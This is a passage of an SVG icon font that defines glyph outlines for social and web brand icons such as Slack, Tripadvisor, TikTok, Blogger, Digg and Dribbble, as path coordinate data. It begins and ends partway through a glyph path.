108.2569233532935L276.5498631258957 122.0691431137725C282.0596528695968 123.8912802395211 286.149369072055 128.5670844311378 287.2214308678894 134.2814371257486C288.2958281605308 139.9934502994013 286.1844039158616 145.8387910179642 281.7093056273814 149.5415419161678C277.2365428357081 153.2442928143713 271.1054714782684 154.2196856287426 265.7077927564082 152.0887910179642L227.9964480836579 138.3561005988025L202.4071073484858 208.8557257485031L244.7383606785569 224.265531736527C251.7896769725695 227.0490269461079 255.9097570252204 234.4171029940121 254.5971235122045 241.890437724551C253.2821545023816 249.3661113772456 246.8941623521861 254.8816431137726 239.3173257927759 255.0828029940121C237.469829429209 255.0851425149702 235.6340117455279 254.7600113772456 233.8962909069949 254.1261227544911L191.4832898073502 238.7958455089821L177.7707102989609 276.4806323353294C174.7553907912186 284.7703029940121 165.5996573408832 289.0414485029941 157.3221268949678 286.0217065868265S144.7797066254863 273.8328029940121 147.7950261332287 265.5431323353294L161.4281933688513 227.8583461077845L91.1135614096044 202.2291353293414L75.7263242598744 244.4657556886229C73.9068556517677 249.9836263473055 69.235563075066 254.0793413173654 63.5319145399504 255.1529754491019C57.8282666027604 256.2266095808384 51.9914863786902 254.1144275449103 48.2941581547494 249.6327658682636C44.5968305287341 245.1534431137726 43.6228655780477 239.0133796407187 45.7506394962167 233.6054455089821L61.0561294742985 191.2916353293414L23.4265325711218 177.4794161676648C15.1490021252064 174.4573353293414 10.884111703715 165.2881736526947 13.8994312114573 156.9985029940121C16.9170862160066 148.7088323353294 26.072819666342 144.4376874251498 34.3503501122575 147.4597676646708L72.0593592882008 161.1901197604791L97.6487000233729 90.6928329341318L55.3174466933018 75.2830275449103C48.0442438524145 72.6398766467067 43.7162914295817 65.1478293413175 45.0522811065184 57.515437724551C46.3859352866481 49.8853856287426 53.0004855752578 44.3137161676648 60.7384815790828 44.3043598802396C62.5859779426497 44.3043598802396 64.4217962242562 44.6271520958085 66.1595170627893 45.2633796407187zM108.5725175645085 60.5913173652695" />
    <glyph glyph-name="074-slack-1"
      unicode="&#xF14A;"
      horiz-adv-x="300" d="M187.979296875 161.492578125C205.12265625 161.492578125 219.0697265625 175.440234375 219.0697265625 192.5841796875V268.9095703125C219.0697265625 286.0529296875 205.12265625 300 187.979296875 300C170.8353515625 300 156.8876953125 286.0529296875 156.8876953125 268.9095703125V192.58359375C156.88828125 175.440234375 170.8359375 161.492578125 187.979296875 161.492578125zM174.46640625 268.9095703125C174.46640625 276.3603515625 180.528515625 282.421875 187.9798828125 282.421875C195.4306640625 282.421875 201.4921875 276.3603515625 201.4921875 268.9095703125V192.58359375C201.4921875 185.1322265625 195.4306640625 179.0701171875 187.9798828125 179.0701171875C180.528515625 179.0701171875 174.46640625 185.1322265625 174.46640625 192.58359375zM246.6076171875 161.492578125H268.91015625C286.053515625 161.492578125 300.0005859375 175.440234375 300.0005859375 192.5841796875C300.0005859375 209.7275390625 286.053515625 223.674609375 268.91015625 223.674609375C251.7662109375 223.674609375 237.8185546875 209.7275390625 237.8185546875 192.5841796875V170.281640625C237.8185546875 165.427734375 241.7537109375 161.492578125 246.6076171875 161.492578125zM255.3966796875 192.5841796875C255.3966796875 200.0349609375 261.4587890625 206.096484375 268.91015625 206.096484375C276.3609375 206.096484375 282.4224609375 200.0349609375 282.4224609375 192.5841796875C282.4224609375 185.1328125 276.3609375 179.070703125 268.91015625 179.070703125H255.3966796875zM31.0904296875 156.8876953125H107.4158203125C124.5591796875 156.8876953125 138.50625 170.8353515625 138.50625 187.979296875C138.50625 205.1220703125 124.5591796875 219.069140625 107.4158203125 219.069140625H31.0904296875C13.9470703125 219.0685546875 0 205.121484375 0 187.9787109375C0 170.8353515625 13.9470703125 156.8876953125 31.0904296875 156.8876953125zM31.0904296875 201.4904296875H107.4158203125C114.8666015625 201.4904296875 120.928125 195.42890625 120.928125 187.9787109375C120.928125 180.52734375 114.8666015625 174.465234375 107.4158203125 174.465234375H31.0904296875C23.6396484375 174.4658203125 17.578125 180.5279296875 17.578125 187.9787109375C17.578125 195.42890625 23.6396484375 201.4904296875 31.0904296875 201.4904296875zM107.415234375 237.819140625H129.7166015625C134.5705078125 237.819140625 138.5056640625 241.754296875 138.5056640625 246.608203125V268.9095703125C138.5056640625 286.0529296875 124.55859375 300 107.415234375 300S76.3248046875 286.0529296875 76.3248046875 268.9095703125S90.271875 237.819140625 107.415234375 237.819140625zM107.415234375 282.421875C114.866015625 282.421875 120.9275390625 276.3603515625 120.9275390625 268.9095703125V255.3966796875H107.415234375C99.964453125 255.3966796875 93.9029296875 261.4587890625 93.9029296875 268.9095703125S99.964453125 282.421875 107.415234375 282.421875zM112.020703125 138.507421875C94.87734375 138.507421875 80.9302734375 124.5597656250001 80.9302734375 107.4158203125V31.091015625C80.9302734375 13.9470703125 94.87734375 -0.0005859375 112.020703125 -0.0005859375C129.165234375 -0.0005859375 143.112890625 13.9470703125 143.112890625 31.091015625V107.4158203125C143.112890625 124.559765625 129.1646484375 138.507421875 112.020703125 138.507421875zM125.534765625 31.091015625C125.534765625 23.6396484375 119.4720703125 17.5775390625 112.020703125 17.5775390625C104.569921875 17.5775390625 98.5083984375 23.6396484375 98.5083984375 31.091015625V107.4158203125C98.5083984375 114.8671875 104.569921875 120.929296875 112.020703125 120.929296875C119.47265625 120.929296875 125.534765625 114.8671875 125.534765625 107.4158203125zM53.3923828125 138.507421875H31.0904296875C13.9470703125 138.507421875 0 124.5597656250001 0 107.4158203125C0 90.2724609375 13.9470703125 76.325390625 31.0904296875 76.325390625C48.234375 76.325390625 62.18203125 90.2724609375 62.18203125 107.4158203125V129.718359375C62.1814453125 134.572265625 58.2462890625 138.507421875 53.3923828125 138.507421875zM44.6033203125 107.4158203125C44.6033203125 99.9650390625 38.5412109375 93.903515625 31.08984375 93.903515625C23.6396484375 93.9041015625 17.578125 99.9650390625 17.578125 107.4158203125C17.578125 114.8671875 23.6396484375 120.929296875 31.0904296875 120.929296875H44.60390625V107.4158203125zM268.9095703125 143.1134765625H192.584765625C175.44140625 143.1134765625 161.4943359375 129.1658203125 161.4943359375 112.021875C161.4943359375 94.8791015625 175.44140625 80.93203125 192.584765625 80.93203125H268.91015625C286.053515625 80.93203125 300.0005859375 94.8791015625 300.0005859375 112.021875C300 129.1658203125 286.0529296875 143.1134765625 268.9095703125 143.1134765625zM268.9095703125 98.5107421875H192.584765625C185.133984375 98.5107421875 179.0724609375 104.572265625 179.0724609375 112.0224609375C179.0724609375 119.473828125 185.1339843750001 125.5359375 192.584765625 125.5359375H268.91015625C276.3609375 125.5359375 282.4224609375 119.473828125 282.4224609375 112.0224609375C282.421875 104.572265625 276.3603515625 98.5107421875 268.9095703125 98.5107421875zM192.584765625 62.18203125H170.2833984375C165.4294921875 62.18203125 161.4943359375 58.246875 161.4943359375 53.39296875V31.091015625C161.4943359375 13.9470703125 175.44140625 -0.0005859375 192.584765625 -0.0005859375C209.7287109375 -0.0005859375 223.6763671875 13.9470703125 223.6763671875 31.091015625C223.67578125 48.234375 209.7287109375 62.18203125 192.584765625 62.18203125zM192.584765625 17.578125C185.133984375 17.578125 179.0724609375 23.640234375 179.0724609375 31.0916015625V44.6044921875H192.584765625C200.0361328125 44.6044921875 206.0982421875 38.5423828125 206.0982421875 31.0916015625C206.09765625 23.640234375 200.0361328125 17.578125 192.584765625 17.578125z" />
    <glyph glyph-name="075-tripadvisor"
      unicode="&#xF14B;"
      horiz-adv-x="300" d="M221.7399251919842 98.2437820408163C200.1279067926094 98.2437820408163 182.6094906752073 115.7884248979592 182.6094906752073 137.4274555102041C182.6094906752073 159.0688775510204 200.1279067926094 176.6111289795919 221.7399251919842 176.6111289795919C243.3495548006145 176.6111289795919 260.8703597087612 159.0688775510204 260.8703597087612 137.4274555102041C260.8249812443956 115.8075575510204 243.3328363224672 98.2892216326531 221.7399251919842 98.2437820408163zM221.7399251919842 163.5507012244898C207.3311166621528 163.5507012244898 195.6521725838847 151.8558673469388 195.6521725838847 137.4274555102041C195.6521725838847 123.0014351020408 207.3311166621528 111.3066006122449 221.7399251919842 111.3066006122449C236.1463449310711 111.3066006122449 247.8252890093391 123.0014351020408 247.8252890093391 137.4274555102041C247.8252890093391 151.8558673469388 236.1463449310711 163.5507012244898 221.7399251919842 163.5507012244898zM221.7399251919842 163.5507012244898M221.7399251919842 59.0601085714286C178.5158890046475 59.0601085714286 143.4790561584303 94.1470028571429 143.4790561584303 137.4274555102041C143.4790561584303 180.7102995918368 178.5158890046475 215.7948024489796 221.7399251919842 215.7948024489796C264.9615725885763 215.7948024489796 300.0007942255381 180.7102995918368 300.0007942255381 137.4274555102041C299.9554157611725 94.1661355102041 264.9424659310974 59.1055481632653 221.7399251919842 59.0601085714286zM221.7399251919842 202.7343746938776C185.7214870535225 202.7343746938776 156.5217380671078 173.4972893877551 156.5217380671078 137.4274555102041C156.5217380671078 101.3600130612245 185.7214870535225 72.1229271428572 221.7399251919842 72.1229271428572C257.7583627190329 72.1229271428572 286.955723526116 101.3600130612245 286.955723526116 137.4274555102041C286.912733852495 173.4781567346939 257.739256061554 202.6889351020408 221.7399251919842 202.7343746938776zM221.7399251919842 202.7343746938776M228.2600717509506 143.9588644897959H215.2173898422732V130.8984373469388H228.2600717509506zM228.2600717509506 143.9588644897959M78.2608690335539 98.2437820408163C56.648851245592 98.2437820408163 39.1304345167769 115.7884248979592 39.1304345167769 137.4274555102041C39.1304345167769 159.0688775510204 56.648851245592 176.6111289795919 78.2608690335539 176.6111289795919S117.3913035503308 159.0688775510204 117.3913035503308 137.4274555102041C117.3459250859652 115.8075575510204 99.8537801640368 98.2892216326531 78.2608690335539 98.2437820408163zM78.2608690335539 163.5507012244898C63.8544492944671 163.5507012244898 52.1731164254544 151.8558673469388 52.1731164254544 137.4274555102041C52.1731164254544 123.0014351020408 63.8544492944671 111.3066006122449 78.2608690335539 111.3066006122449S104.3486216416534 123.0014351020408 104.3486216416534 137.4274555102041C104.3486216416534 151.8558673469388 92.6672887726407 163.5507012244898 78.2608690335539 163.5507012244898zM78.2608690335539 163.5507012244898M78.2608690335539 59.0601085714286C35.0392216369618 59.0601085714286 0 94.1470028571429 0 137.4274555102041C0 180.7102995918368 35.0392216369618 215.7948024489796 78.2608690335539 215.7948024489796S156.5217380671078 180.7102995918368 156.5217380671078 137.4274555102041C156.4763596027421 94.1661355102041 121.4634097726671 59.1055481632653 78.2608690335539 59.0601085714286zM78.2608690335539 202.7343746938776C42.2424315065052 202.7343746938776 13.0426819086774 173.4972893877551 13.0426819086774 137.4274555102041C13.0426819086774 101.3600130612245 42.2424315065052 72.1229271428572 78.2608690335539 72.1229271428572S143.4790561584303 101.3600130612245 143.4790561584303 137.4274555102041C143.4336776940647 173.4781567346939 114.2601999031236 202.6889351020408 78.2608690335539 202.7343746938776zM78.2608690335539 202.7343746938776M84.7834043832649 143.9588644897959H71.7383336838428V130.8984373469388H84.7834043832649zM84.7834043832649 143.9588644897959M149.9992027173967 42.0822704081633L120.3265636526728 79.2235334693878L130.5151890590001 87.3883928571429L149.9992027173967 62.9799110204082L169.4832169872064 87.3883928571429L179.6742305728653 79.2235334693878zM149.9992027173967 42.0822704081633M273.8318386288598 194.8971618367347L261.6035778423671 199.4698659183674L276.8483017197806 239.9593432653062L206.6576072917283 227.3867987755102L204.3743617230003 240.2032842857143L297.0655341231962 256.9395728571429zM273.8318386288598 194.8971618367347M26.1689555966783 194.8971618367347L2.935260102342 256.9395728571429L95.6240443232062 240.2032842857143L93.3431869338099 227.3867987755102L23.1524925057575 239.9593432653062L38.3972163831711 199.4698659183674zM26.1689555966783 194.8971618367347M300.0007942255382 137.4274555102041H286.9557235261161C286.9557235261161 191.4700255102041 225.4896064165109 235.3866391836735 149.9992027173968 235.3866391836735C74.5111878090273 235.3866391836735 13.0426819086775 191.4700255102041 13.0426819086775 137.4274555102041H0C0 198.6519453061224 67.2554343257104 248.4494577551021 149.9992027173968 248.4494577551021C232.7453598998278 248.4494577551021 300.0007942255382 198.6519453061224 300.0007942255382 137.4274555102041zM300.0007942255382 137.4274555102041" />
    <glyph glyph-name="076-tik-tok-1"
      unicode="&#xF14C;"
      horiz-adv-x="300" d="M114.369140625 0C92.53125 0 71.935546875 6.966796875 54.80859375 20.150390625C51.609375 22.611328125 48.533203125 25.30078125 45.662109375 28.13671875C25.669921875 47.89453125 15.609375 74.208984375 17.337890625 102.234375C18.64453125 123.416015625 27.17578125 143.8359375 41.373046875 159.732421875C60.17578125 180.78515625 86.09765625 192.380859375 114.375 192.380859375C119.232421875 192.380859375 124.13671875 192.017578125 128.96484375 191.302734375L136.46484375 190.189453125V123.6328125L124.916015625 127.447265625C121.552734375 128.560546875 118.0546875 129.123046875 114.515625 129.123046875C105.57421875 129.123046875 97.201171875 125.619140625 90.9375 119.26171875C84.703125 112.93359375 81.345703125 104.56640625 81.474609375 95.689453125C81.64453125 84.24609375 87.673828125 73.8749999999999 97.599609375 67.93359375C102.169921875 65.2031249999999 107.373046875 63.603515625 112.658203125 63.310546875C116.830078125 63.08203125 120.94921875 63.626953125 124.91015625 64.93359375C138.451171875 69.404296875 147.55078125 81.966796875 147.55078125 96.1875L147.609375 165.2109375V300H211.21875L211.294921875 291.29296875C211.330078125 287.349609375 211.734375 283.40625 212.49609375 279.5859375C215.484375 264.5625 223.91015625 251.173828125 236.2207031250001 241.892578125C247.1484375 233.6484375 260.1914062500001 229.294921875 273.92578125 229.294921875C274.248046875 229.294921875 274.248046875 229.294921875 277.18359375 229.08984375L285.357421875 228.515625V174.609375V165.8203125L282.427734375 165.826171875H276.5859375C276.5390625 165.826171875 276.4921875 165.826171875 276.439453125 165.826171875H273.6328125C273.62109375 165.826171875 273.603515625 165.826171875 273.5859375 165.826171875C256.646484375 165.826171875 240.7734375 169.0546875 225.041015625 175.693359375C220.353515625 177.673828125 215.7890625 179.935546875 211.3828125 182.4609375L211.58203125 95.853515625C211.4765625 70.236328125 201.3515625 46.20703125 183.076171875 28.142578125C168.24609375 13.48828125 149.53125 4.125 128.953125 1.078125C124.154296875 0.3632812499999 119.25 0 114.369140625 0zM114.369140625 174.802734375C91.171875 174.802734375 69.90234375 165.29296875 54.48046875 148.025390625C42.90234375 135.05859375 35.94140625 118.412109375 34.875 101.15625C33.46875 78.275390625 41.68359375 56.783203125 58.013671875 40.646484375C60.375 38.314453125 62.900390625 36.10546875 65.525390625 34.083984375C79.552734375 23.28515625 96.4453125 17.578125 114.369140625 17.578125C118.388671875 17.578125 122.42578125 17.876953125 126.380859375 18.462890625C143.23828125 20.958984375 158.572265625 28.62890625 170.724609375 40.640625C185.654296875 55.39453125 193.921875 75.005859375 194.009765625 95.865234375L193.734375 216.796875L207.931640625 205.845703125C215.26171875 200.19140625 223.32421875 195.4921875 231.884765625 191.876953125C243.5859375000001 186.9375 255.380859375 184.1953125 267.7734375 183.544921875V211.93359375C252.45703125 213.08203125 237.990234375 218.525390625 225.6328125 227.84765625C209.87109375 239.73046875 199.083984375 256.88671875 195.251953125 276.146484375C194.841796875 278.21484375 194.5078125 280.306640625 194.26171875 282.416015625H165.181640625V165.205078125L165.123046875 96.181640625C165.123046875 74.3671875 151.177734375 55.1015625 130.41796875 48.24609375C124.365234375 46.248046875 118.06640625 45.416015625 111.69140625 45.76171875C103.5703125 46.20703125 95.578125 48.662109375 88.5703125 52.8515625C73.376953125 61.939453125 64.1484375 77.859375 63.890625 95.431640625C63.69140625 109.048828125 68.841796875 121.892578125 78.404296875 131.6015625C87.99609375 141.33984375 100.81640625 146.701171875 114.50390625 146.701171875C115.96875 146.701171875 117.421875 146.63671875 118.875 146.513671875V174.6796875C117.375 174.76171875 115.869140625 174.802734375 114.369140625 174.802734375z" />
    <glyph glyph-name="077-letter-d"
      unicode="&#xF14D;"
      horiz-adv-x="300" d="M150 300C67.1574 300 0 232.8426 0 150S67.1574 0 150 0S300 67.1574 300 150S232.8426 300 150 300zM217.7022 69.3672H186.7326L182.7864 78.3894C172.9002 70.0692 160.2906 65.256 146.1372 65.256C108.855 65.256 82.2972 92.3574 82.2972 130.1160000000001S108.8544 194.8494000000001 146.1372 194.8494000000001C156.7938 194.9292 167.2566 192.0054 176.3286 186.4140000000001V234.7440000000001H217.7022zM151.7358 157.92C136.0596 157.92 124.5372 145.98 124.5372 130.1142S136.0572 102.3108 151.7358 102.3108S178.9338 114.2508 178.9338 130.1142S167.4114 157.92 151.7358 157.92z" />
    <glyph glyph-name="078-d"
      unicode="&#xF14E;"
      horiz-adv-x="300" d="M111.4013671875 0H73.75546875C54.3703125 0 38.59921875 15.77109375 38.59921875 35.15625V264.84375C38.59921875 284.22890625 54.3703125 300 73.75546875 300H111.4013671875C151.4677734375 300 189.1359375 284.3970703125 217.4671875 256.0658203125S261.40078125 190.06640625 261.40078125 150S245.7978515625 72.2654296875 217.4671875 43.9341796875C189.1359375 15.6029296875 151.4677734375 0 111.4013671875 0zM73.75546875 282.421875C64.062890625 282.421875 56.17734375 274.536328125 56.17734375 264.84375V35.15625C56.17734375 25.463671875 64.062890625 17.578125 73.75546875 17.578125H111.4013671875C146.77265625 17.578125 180.0263671875 31.35234375 205.0376953125 56.363671875S243.82265625 114.6287109375 243.82265625 150S230.0484375000001 218.6255859375 205.0376953125 243.6363281250001S146.7726562500001 282.421875 111.4013671875 282.421875zM111.4013671875 52.734375H100.12265625C95.26875 52.734375 91.33359375 56.66953125 91.33359375 61.5234375V238.4765625C91.33359375 243.33046875 95.26875 247.265625 100.12265625 247.265625H111.4013671875C165.0333984375 247.265625 208.66640625 203.6326171875 208.66640625 150S165.0333984375 52.734375 111.4013671875 52.734375zM108.91171875 70.3125H111.4013671875C155.3408203125 70.3125 191.08828125 106.0599609375 191.08828125 150S155.3408203125 229.6875 111.4013671875 229.6875H108.91171875z" />
    <glyph glyph-name="079-blogger"
      unicode="&#xF14F;"
      horiz-adv-x="300" d="M281.8359375 194.53125H246.6796875C241.833984375 194.53125 237.890625 198.474609375 237.890625 203.3203125V220.8984375C237.890625 264.515625 202.40625 300 158.7890625 300H88.4765625C44.859375 300 9.375 264.515625 9.375 220.8984375V79.1015625C9.375 35.484375 44.859375 0 88.4765625 0H211.5234375C255.140625 0 290.625 35.484375 290.625 79.1015625V185.7421875C290.625 190.59375 286.6875 194.53125 281.8359375 194.53125zM273.046875 79.1015625C273.046875 45.17578125 245.44921875 17.578125 211.5234375 17.578125H88.4765625C54.55078125 17.578125 26.953125 45.17578125 26.953125 79.1015625V220.8984375C26.953125 254.82421875 54.55078125 282.421875 88.4765625 282.421875H158.7890625C192.71484375 282.421875 220.3125 254.82421875 220.3125 220.8984375V203.3203125C220.3125 188.783203125 232.142578125 176.953125 246.6796875 176.953125H273.046875V79.1015625zM211.5234375 123.046875H88.4765625C73.939453125 123.046875 62.109375 111.216796875 62.109375 96.6796875V79.1015625C62.109375 64.564453125 73.939453125 52.734375 88.4765625 52.734375H211.5234375C226.060546875 52.734375 237.890625 64.564453125 237.890625 79.1015625V96.6796875C237.890625 111.216796875 226.060546875 123.046875 211.5234375 123.046875zM220.3125 79.1015625C220.3125 74.255859375 216.369140625 70.3125 211.5234375 70.3125H88.4765625C83.630859375 70.3125 79.6875 74.255859375 79.6875 79.1015625V96.6796875C79.6875 101.525390625 83.630859375 105.46875 88.4765625 105.46875H211.5234375C216.369140625 105.46875 220.3125 101.525390625 220.3125 96.6796875V79.1015625zM158.7890625 247.265625H88.4765625C73.939453125 247.265625 62.109375 235.435546875 62.109375 220.8984375V203.3203125C62.109375 188.783203125 73.939453125 176.953125 88.4765625 176.953125H158.7890625C173.326171875 176.953125 185.15625 188.783203125 185.15625 203.3203125V220.8984375C185.15625 235.435546875 173.326171875 247.265625 158.7890625 247.265625zM167.578125 203.3203125C167.578125 198.474609375 163.634765625 194.53125 158.7890625 194.53125H88.4765625C83.630859375 194.53125 79.6875 198.474609375 79.6875 203.3203125V220.8984375C79.6875 225.744140625 83.630859375 229.6875 88.4765625 229.6875H158.7890625C163.634765625 229.6875 167.578125 225.744140625 167.578125 220.8984375V203.3203125z" />
    <glyph glyph-name="080-blogger-1"
      unicode="&#xF150;"
      horiz-adv-x="300" d="M282.0939334637965 194.3248532289628H246.8688845401174C241.9367906066536 194.3248532289628 238.0626223091976 198.2001956947163 238.0626223091976 203.1311154598826V220.7436399217221C238.0626223091976 264.4221135029354 202.4847358121331 300 158.8062622309197 300H88.3561643835616C44.6776908023483 300 9.0998043052837 264.4221135029354 9.0998043052837 220.7436399217221V79.2563600782779C9.0998043052837 35.5778864970646 44.6776908023483 0 88.3561643835616 0H211.6438356164383C255.3223091976517 0 290.9001956947162 35.5778864970646 290.9001956947162 79.2563600782779V185.5185909980431C290.9001956947162 190.4506849315069 287.0260273972603 194.3248532289628 282.0939334637965 194.3248532289628zM167.6125244618396 203.1311154598826C167.6125244618396 198.2001956947163 163.7383561643836 194.3248532289628 158.8062622309198 194.3248532289628H88.3561643835617C83.4240704500979 194.3248532289628 79.5499021526419 198.2001956947163 79.5499021526419 203.1311154598826V220.7436399217221C79.5499021526419 225.6757338551859 83.4240704500979 229.5499021526419 88.3561643835617 229.5499021526419H158.8062622309198C163.7383561643836 229.5499021526419 167.6125244618396 225.6757338551859 167.6125244618396 220.7436399217221V203.1311154598826zM79.5499021526419 96.8688845401174C79.5499021526419 101.8009784735812 83.4240704500979 105.6751467710372 88.3561643835617 105.6751467710372H211.6438356164384C216.5759295499022 105.6751467710372 220.4500978473581 101.8009784735812 220.4500978473581 96.8688845401174V79.2563600782779C220.4500978473581 74.3254403131115 216.5759295499022 70.4500978473581 211.6438356164384 70.4500978473581H88.3561643835616C83.4240704500979 70.4500978473581 79.5499021526419 74.3254403131116 79.5499021526419 79.2563600782779V96.8688845401174z" />
    <glyph glyph-name="081-delicious"
      unicode="&#xF151;"
      horiz-adv-x="300" d="M150 300H300V150H150V300zM0 150H150V0H0V150z" />
    <glyph glyph-name="082-deviantart"
      unicode="&#xF152;"
      horiz-adv-x="300" d="M53.3203125 0H120.094299609375L153.220367578125 61.5234375H246.6796875V131.8359375H191.01104765625L246.6796875 236.281585546875V300H179.905700390625L146.779632421875 238.4765625H53.3203125V168.1640625H108.98895234375L53.3203125 63.718414453125zM70.8984375 59.328460546875L138.27667265625 185.7421875H70.8984375V220.8984375H157.2784423828125L190.406799609375 282.421875H229.1015625V240.671539453125L161.72332734375 114.2578125H229.1015625V79.1015625H142.7215576171875L109.593200390625 17.578125H70.8984375zM70.8984375 59.328460546875" />
    <glyph glyph-name="083-digg"
      unicode="&#xF153;"
      horiz-adv-x="300" d="M115.7230161659841 242.7762836400711H97.3627004634757C91.5384930888807 242.7762836400711 86.7994398448441 238.0372303960344 86.7994398448441 232.2124370850838V213.8515354462198C86.7994398448441 208.0267421352693 91.5384930888807 203.2876888912327 97.3627004634757 203.2876888912327H115.7230161659841C121.5478094769346 203.2876888912327 126.2862767846157 208.0267421352693 126.2868627209713 213.8515354462198V232.2124370850838C126.2874486573268 238.0372303960344 121.5483954132902 242.7762836400711 115.7230161659841 242.7762836400711zM114.3343470032285 215.2396186726198H98.7519555625868V230.8231819859727H114.3343470032285V215.2396186726198zM115.7230161659841 200.0275390087129H97.3627004634757C91.5384930888807 200.0275390087129 86.7994398448441 195.2884857646763 86.7994398448441 189.4642783900813V105.0519432579233C86.7994398448441 99.2271499469728 91.5384930888807 94.4880967029361 97.3627004634757 94.4880967029361H115.7230161659841C121.5478094769346 94.4880967029361 126.2862767846157 99.2271499469728 126.2868627209713 105.0519432579233V189.4636924537257C126.2874486573268 195.2884857646763 121.5483954132902 200.0275390087129 115.7230161659841 200.0275390087129zM114.3343470032285 106.4400264843233H98.7519555625868V188.0750232909701H114.3343470032285V106.4400264843233zM254.5870027597602 116.4976240280781H261.9194103136517C267.7442036246023 116.4976240280781 272.483256868639 121.2366772721147 272.483256868639 127.0608846467097V167.4330714197824C272.483256868639 173.257864730733 267.7442036246023 177.9969179747696 261.9194103136517 177.9969179747696H254.5870027597602C248.7622094488097 177.9969179747696 244.023156204773 173.257864730733 244.023156204773 167.4330714197824V127.0608846467097C244.023156204773 121.2366772721147 248.7622094488097 116.4976240280781 254.5870027597602 116.4976240280781zM255.9762578588714 166.0444022570269H260.5319130236074V128.4501397458208H255.9762578588714V166.0444022570269zM289.4361534450128 200.0275390087129H227.0520956013758C221.2273022904252 200.0275390087129 216.4882490463886 195.2884857646763 216.4882490463886 189.4642783900813V105.0337792308999C216.4882490463886 99.2089859199494 221.2273022904252 94.4699326759128 227.0520956013758 94.4699326759128H260.5313270872518V91.1840015937469H227.0520956013758C221.2273022904252 91.1840015937469 216.4882490463886 86.4449483497103 216.4882490463886 80.6201550387597V67.7881488512718C216.4882490463886 61.9633555403213 221.2273022904252 57.2243022962846 227.0520956013758 57.2243022962846H289.4349815723016C295.2597748832522 57.2243022962846 299.9988281272888 61.9633555403213 299.9994140636444 67.7881488512718V189.4636924537257C300 195.2884857646763 295.2609467559634 200.0275390087129 289.4361534450128 200.0275390087129zM288.0474842822573 69.1762320776717H228.4407647641313V79.230314003293H261.9199962500073C267.7447895609579 79.230314003293 272.4838428049945 83.9693672473296 272.4838428049945 89.7941605582802V95.8574299659571C272.4838428049945 101.6816373405521 267.7447895609579 106.4206905845887 261.9199962500073 106.4206905845887H228.4407647641313V188.0750232909701H288.0474842822573V69.1762320776717zM45.4317472036188 177.9969179747696H38.0975818406605C32.2727885297099 177.9969179747696 27.5337352856733 173.257864730733 27.5337352856733 167.4330714197824V127.0608846467097C27.5337352856733 121.2366772721147 32.2727885297099 116.4976240280781 38.0975818406605 116.4976240280781H45.4323331399743C51.2571264509249 116.4976240280781 55.9955937586059 121.2366772721147 55.9955937586059 127.0608846467097V167.4330714197824C55.9955937586059 173.257864730733 51.2565405145693 177.9969179747696 45.4317472036188 177.9969179747696zM44.0430780408632 128.4501397458208H39.4856650670604V166.0444022570269H44.0430780408632V128.4501397458208zM72.9473184622686 242.7756977037154H54.607510532206C48.7827172212554 242.7756977037154 44.0436639772188 238.0366444596788 44.0436639772188 232.2118511487282V200.0275390087129H10.5638465549872C4.7390532440366 200.0275390087129 0 195.2884857646763 0 189.4636924537257V105.0513573215678C0 99.2265640106172 4.7390532440366 94.4875107665806 10.5638465549872 94.4875107665806H72.946732525913C78.7721117732192 94.4875107665806 83.5105790809002 99.2265640106172 83.5105790809002 105.0513573215678V232.2112652123727C83.5111650172558 238.0360585233232 78.7721117732192 242.7756977037154 72.9473184622686 242.7756977037154zM71.5586492995131 106.4400264843233H11.9519297813871V188.0750232909701H45.4317472036188C51.2559545782137 188.0750232909701 55.9950078222503 192.8140765350068 55.9950078222503 198.6388698459574V230.8231819859727H71.5586492995131V106.4400264843233zM202.6970650447949 200.0275390087129H140.2930853650677C134.4682920541171 200.0275390087129 129.7292388100804 195.2884857646763 129.7292388100804 189.4642783900813V105.0337792308999C129.7292388100804 99.2089859199494 134.4682920541171 94.4699326759128 140.2930853650677 94.4699326759128H173.774660596366V91.1840015937469H140.2930853650677C134.4682920541171 91.1840015937469 129.7292388100805 86.4449483497103 129.7292388100805 80.6201550387597V67.7881488512718C129.7292388100805 61.9633555403213 134.4682920541171 57.2243022962846 140.2930853650677 57.2243022962846H202.6964791084393C208.5206864830342 57.2243022962846 213.2591537907153 61.9633555403213 213.2597397270709 67.7881488512718V189.4636924537257C213.2603256634264 195.2884857646763 208.5212724193898 200.0275390087129 202.6970650447949 200.0275390087129zM201.3072240093281 69.1762320776717H141.6817545278232V79.230314003293H175.1633297591216C180.9881230700721 79.230314003293 185.7271763141088 83.9693672473296 185.7271763141088 89.7941605582802V95.8574299659571C185.7271763141088 101.6816373405521 180.9881230700721 106.4206905845887 175.1633297591216 106.4206905845887H141.6817545278232V188.0750232909701H201.3078099456837V69.1762320776717zM167.8268206507409 116.4976240280781H175.1633297591216C180.9881230700721 116.4976240280781 185.7271763141088 121.2366772721147 185.7271763141088 127.0608846467097V167.4330714197824C185.7271763141088 173.257864730733 180.9881230700721 177.9969179747696 175.1633297591216 177.9969179747696H167.8268206507409C162.002613276146 177.9969179747696 157.2635600321093 173.257864730733 157.2635600321093 167.4330714197824V127.0608846467097C157.2635600321093 121.2366772721147 162.002613276146 116.4976240280781 167.8268206507409 116.4976240280781zM169.2160757498521 166.0444022570269H173.7752465327216V128.4501397458208H169.2160757498521V166.0444022570269z" />
    <glyph glyph-name="084-dribbble"
      unicode="&#xF154;"
      horiz-adv-x="300" d="M150.5859375 0C233.1619265625 0 300 66.8266294921875 300 149.4140625C300 231.699371484375 233.441162109375 300 150.5859375 300C68.076324609375 300 0 231.9694517578125 0 149.4140625C0 66.485595703125 68.3830259765625 0 150.5859375 0zM73.46649140625 42.059326171875C84.358978125 83.5693359375 123.161315625 117.3431396484375 172.792053515625 132.298278515625C184.4306947265625 97.96142578125 191.615295703125 61.6973876953125 193.796539453125 24.8588560546875C180.25360078125 20.1484681640625 165.7150265625 17.578125 150.5859375 17.578125C121.861266796875 17.578125 95.233154296875 26.6532896484375 73.46649140625 42.059326171875zM210.9306333984375 32.22198515625C208.3099365234375 68.0671693359375 201.3107296875001 103.0357359375 190.045166015625 136.6401673828125C220.6329345703125 142.8634640625 252.523040625 141.6915890625 281.4994810546875 133.854675C276.26495390625 89.540862890625 248.9730832031251 51.889801171875 210.9306333984375 32.22198515625zM174.007415625 177.3284912109375C203.830719140625 188.4429931640625 235.4507449218751 206.874847265625 252.646637109375 233.509826953125C270.7855224609375 211.1480712890625 281.8519593750001 182.7392578125 282.3921205078126 151.7852783203125C251.2092591796875 159.6061705078125 217.0120242187501 160.439300390625 184.0278626953125 153.408050390625C180.8349609375 161.7462158203125 177.6077273437501 169.4252015625 174.007415625 177.3284912109375zM240.1885986328125 246.8833921875C225.9201046875 221.0746763671875 